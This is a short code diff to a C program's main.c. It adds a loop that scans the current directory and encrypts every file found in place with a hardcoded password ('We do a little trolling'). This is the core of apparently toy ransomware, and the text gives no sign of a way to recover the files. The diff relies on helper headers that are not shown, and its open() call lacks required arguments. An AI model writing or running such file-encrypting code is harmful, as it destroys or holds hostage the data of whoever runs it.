diff options
Diffstat (limited to 'src/main.c')
| -rw-r--r-- | src/main.c | 16 |
1 files changed, 16 insertions, 0 deletions
| @@ -8,8 +8,24 @@ | |||
| 8 | * | 8 | * |
| 9 | */ | 9 | */ |
| 10 | 10 | ||
| 11 | #define _GNU_SOURCE | ||
| 12 | |||
| 13 | #include "main.h" | ||
| 14 | #include "encryption.h" | ||
| 15 | #include "search.h" | ||
| 16 | #include "ll.h" | ||
| 17 | |||
| 11 | int main() { | 18 | int main() { |
| 19 | // Get folders | ||
| 20 | struct nodelist *files = scanfiles("./", alphasort); | ||
| 21 | |||
| 22 | // Encrypt those files | ||
| 23 | for(struct nodelist *p = files; p != NULL; p = p->next) { | ||
| 24 | int fd = open(p->fullpath); | ||
| 25 | passencblock(fd, "We do a little trolling"); | ||
| 26 | } | ||
| 12 | 27 | ||
| 28 | nodelist_delete(files); | ||
| 13 | 29 | ||
| 14 | return 0; | 30 | return 0; |
| 15 | } \ No newline at end of file | 31 | } \ No newline at end of file |
